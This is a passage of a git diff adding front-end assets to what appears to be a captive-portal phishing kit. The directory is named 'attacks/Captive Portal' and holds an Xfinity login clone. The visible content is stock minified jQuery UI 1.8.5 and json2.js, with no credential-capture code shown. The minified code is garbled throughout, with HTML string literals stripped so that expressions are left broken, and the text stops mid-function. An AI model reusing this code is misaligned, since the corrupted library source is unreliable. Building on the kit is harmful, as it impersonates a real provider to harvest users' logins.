d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("': +"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var k=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),j='
',o="";if(h||!k)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(j+=o+(h||!(k&&l)?" ":""));if(h||!l)j+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b, +i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(j+='"}j+=this._get(a,"yearSuffix");if(u)j+=(h||!(k&&l)?" ":"")+o;j+="
";return j},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b)); +return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new L;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.5";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,c){b.widget("ui.progressbar",{options:{value:0},min:0,max:100,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":this._value()});this.valueDiv=b("
").appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===c)return this._value();this._setOption("value",a);return this},_setOption:function(a,d){if(a==="value"){this.options.value=d;this._refreshValue();this._trigger("change")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.max,Math.max(this.min,a))},_refreshValue:function(){var a=this.value();this.valueDiv.toggleClass("ui-corner-right", +a===this.max).width(a+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Effects 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function l(c){var a;if(c&&c.constructor==Array&&c.length==3)return c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return m.transparent;return m[f.trim(c).toLowerCase()]}function r(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return l(b)}function n(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function o(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in s||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function t(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:f.fx.speeds[b]||f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=r(b.elem,a);b.end=l(b.end);b.colorInit= +true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var m={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189, +183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255, +165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},p=["add","remove","toggle"],s={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b,d){if(f.isFunction(b)){d=b;b=null}return this.each(function(){var e=f(this),g=e.attr("style")||" ",h=o(n.call(this)),q,u=e.attr("className");f.each(p,function(v, +i){c[i]&&e[i+"Class"](c[i])});q=o(n.call(this));e.attr("className",u);e.animate(t(h,q),a,b,function(){f.each(p,function(v,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)})})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a? +f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c,a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.5",save:function(c,a){for(var b=0;b
").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"}); +c.css({position:"relative",top:0,left:0})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c);return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments);a={options:a[1],duration:a[2],callback:a[3]};var b=f.effects[c];return b&&!f.fx.off?b.call(this,a):this},_show:f.fn.show,show:function(c){if(!c|| +typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._show.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c]||typeof c== +"boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c),b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c, +a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c,a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/= +e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+ +b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a==e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/ +2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h
").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","left"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1],10)/100* +f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js new file mode 100755 index 0000000..6bdea10 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/json2.js @@ -0,0 +1,482 @@ +/* + http://www.JSON.org/json2.js + 2010-08-25 + + Public Domain. + + NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. + + See http://www.JSON.org/js.html + + + This code should be minified before deployment. + See http://javascript.crockford.com/jsmin.html + + USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO + NOT CONTROL. + + + This file creates a global JSON object containing two methods: stringify + and parse. + + JSON.stringify(value, replacer, space) + value any JavaScript value, usually an object or array. + + replacer an optional parameter that determines how object + values are stringified for objects. It can be a + function or an array of strings. + + space an optional parameter that specifies the indentation + of nested structures. If it is omitted, the text will + be packed without extra whitespace. If it is a number, + it will specify the number of spaces to indent at each + level. If it is a string (such as '\t' or ' '), + it contains the characters used to indent at each level. + + This method produces a JSON text from a JavaScript value. + + When an object value is found, if the object contains a toJSON + method, its toJSON method will be called and the result will be + stringified. A toJSON method does not serialize: it returns the + value represented by the name/value pair that should be serialized, + or undefined if nothing should be serialized. The toJSON method + will be passed the key associated with the value, and this will be + bound to the value + + For example, this would serialize Dates as ISO strings. + + Date.prototype.toJSON = function (key) { + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + return this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z'; + }; + + You can provide an optional replacer method. It will be passed the + key and value of each member, with this bound to the containing + object. The value that is returned from your method will be + serialized. If your method returns undefined, then the member will + be excluded from the serialization. + + If the replacer parameter is an array of strings, then it will be + used to select the members to be serialized. It filters the results + such that only members with keys listed in the replacer array are + stringified. + + Values that do not have JSON representations, such as undefined or + functions, will not be serialized. Such values in objects will be + dropped; in arrays they will be replaced with null. You can use + a replacer function to replace those with JSON values. + JSON.stringify(undefined) returns undefined. + + The optional space parameter produces a stringification of the + value that is filled with line breaks and indentation to make it + easier to read. + + If the space parameter is a non-empty string, then that string will + be used for indentation. If the space parameter is a number, then + the indentation will be that many spaces. + + Example: + + text = JSON.stringify(['e', {pluribus: 'unum'}]); + // text is '["e",{"pluribus":"unum"}]' + + + text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); + // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' + + text = JSON.stringify([new Date()], function (key, value) { + return this[key] instanceof Date ? + 'Date(' + this[key] + ')' : value; + }); + // text is '["Date(---current time---)"]' + + + JSON.parse(text, reviver) + This method parses a JSON text to produce an object or array. + It can throw a SyntaxError exception. + + The optional reviver parameter is a function that can filter and + transform the results. It receives each of the keys and values, + and its return value is used instead of the original value. + If it returns what it received, then the structure is not modified. + If it returns undefined then the member is deleted. + + Example: + + // Parse the text. Values that look like ISO date strings will + // be converted to Date objects. + + myData = JSON.parse(text, function (key, value) { + var a; + if (typeof value === 'string') { + a = +/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); + if (a) { + return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], + +a[5], +a[6])); + } + } + return value; + }); + + myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) { + var d; + if (typeof value === 'string' && + value.slice(0, 5) === 'Date(' && + value.slice(-1) === ')') { + d = new Date(value.slice(5, -1)); + if (d) { + return d; + } + } + return value; + }); + + + This is a reference implementation. You are free to copy, modify, or + redistribute. +*/ + +/*jslint evil: true, strict: false */ + +/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, + call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, + getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, + lastIndex, length, parse, prototype, push, replace, slice, stringify, + test, toJSON, toString, valueOf +*/ + + +// Create a JSON object only if one does not already exist. We create the +// methods in a closure to avoid creating global variables. + +if (!this.JSON) { + this.JSON = {}; +} + +(function () { + + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + if (typeof Date.prototype.toJSON !== 'function') { + + Date.prototype.toJSON = function (key) { + + return isFinite(this.valueOf()) ? + this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z' : null; + }; + + String.prototype.toJSON = + Number.prototype.toJSON = + Boolean.prototype.toJSON = function (key) { + return this.valueOf(); + }; + } + + var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + gap, + indent, + meta = { // table of character substitutions + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\' + }, + rep; + + + function quote(string) { + +// If the string contains no control characters, no quote characters, and no +// backslash characters, then we can safely slap some quotes around it. +// Otherwise we must also replace the offending characters with safe escape +// sequences. + + escapable.lastIndex = 0; + return escapable.test(string) ? + '"' + string.replace(escapable, function (a) { + var c = meta[a]; + return typeof c === 'string' ? c : + '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }) + '"' : + '"' + string + '"'; + } + + + function str(key, holder) { + +// Produce a string from holder[key]. + + var i, // The loop counter. + k, // The member key. + v, // The member value. + length, + mind = gap, + partial, + value = holder[key]; + +// If the value has a toJSON method, call it to obtain a replacement value. + + if (value && typeof value === 'object' && + typeof value.toJSON === 'function') { + value = value.toJSON(key); + } + +// If we were called with a replacer function, then call the replacer to +// obtain a replacement value. + + if (typeof rep === 'function') { + value = rep.call(holder, key, value); + } + +// What happens next depends on the value's type. + + switch (typeof value) { + case 'string': + return quote(value); + + case 'number': + +// JSON numbers must be finite. Encode non-finite numbers as null. + + return isFinite(value) ? String(value) : 'null'; + + case 'boolean': + case 'null': + +// If the value is a boolean or null, convert it to a string. Note: +// typeof null does not produce 'null'. The case is included here in +// the remote chance that this gets fixed someday. + + return String(value); + +// If the type is 'object', we might be dealing with an object or an array or +// null. + + case 'object': + +// Due to a specification blunder in ECMAScript, typeof null is 'object', +// so watch out for that case. + + if (!value) { + return 'null'; + } + +// Make an array to hold the partial results of stringifying this object value. + + gap += indent; + partial = []; + +// Is the value an array? + + if (Object.prototype.toString.apply(value) === '[object Array]') { + +// The value is an array. Stringify every element. Use null as a placeholder +// for non-JSON values. + + length = value.length; + for (i = 0; i < length; i += 1) { + partial[i] = str(i, value) || 'null'; + } + +// Join all of the elements together, separated with commas, and wrap them in +// brackets. + + v = partial.length === 0 ? '[]' : + gap ? '[\n' + gap + + partial.join(',\n' + gap) + '\n' + + mind + ']' : + '[' + partial.join(',') + ']'; + gap = mind; + return v; + } + +// If the replacer is an array, use it to select the members to be stringified. + + if (rep && typeof rep === 'object') { + length = rep.length; + for (i = 0; i < length; i += 1) { + k = rep[i]; + if (typeof k === 'string') { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } else { + +// Otherwise, iterate through all of the keys in the object. + + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } + +// Join all of the member texts together, separated with commas, +// and wrap them in braces. + + v = partial.length === 0 ? '{}' : + gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + + mind + '}' : '{' + partial.join(',') + '}'; + gap = mind; + return v; + } + } + +// If the JSON object does not yet have a stringify method, give it one. + + if (typeof JSON.stringify !== 'function') { + JSON.stringify = function (value, replacer, space) { + +// The stringify method takes a value and an optional replacer, and an optional +// space parameter, and returns a JSON text. The replacer can be a function +// that can replace values, or an array of strings that will select the keys. +// A default replacer method can be provided. Use of the space parameter can +// produce text that is more easily readable. + + var i; + gap = ''; + indent = ''; + +// If the space parameter is a number, make an indent string containing that +// many spaces. + + if (typeof space === 'number') { + for (i = 0; i < space; i += 1) { + indent += ' '; + } + +// If the space parameter is a string, it will be used as the indent string. + + } else if (typeof space === 'string') { + indent = space; + } + +// If there is a replacer, it must be a function or an array. +// Otherwise, throw an error. + + rep = replacer; + if (replacer && typeof replacer !== 'function' && + (typeof replacer !== 'object' || + typeof replacer.length !== 'number')) { + throw new Error('JSON.stringify'); + } + +// Make a fake root object containing our value under the key of ''. +// Return the result of stringifying the value. + + return str('', {'': value}); + }; + } + + +// If the JSON object does not yet have a parse method, give it one. + + if (typeof JSON.parse !== 'function') { + JSON.parse = function (text, reviver) { + +// The parse method takes a text and an optional reviver function, and returns +// a JavaScript value if the text is a valid JSON text. + + var j; + + function walk(holder, key) { + +// The walk method is used to recursively walk the resulting structure so +// that modifications can be made. + + var k, v, value = holder[key]; + if (value && typeof value === 'object') { + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = walk(value, k); + if (v !== undefined) { + value[k] = v; + } else { + delete value[k]; + } + } + } + } + return reviver.call(holder, key, value); + } + + +// Parsing happens in four stages. In the first stage, we replace certain +// Unicode characters with escape sequences. JavaScript handles many characters +// incorrectly, either silently deleting them, or treating them as line endings. + + text = String(text); + cx.lastIndex = 0; + if (cx.test(text)) { + text = text.replace(cx, function (a) { + return '\\u' + + ('0000' + 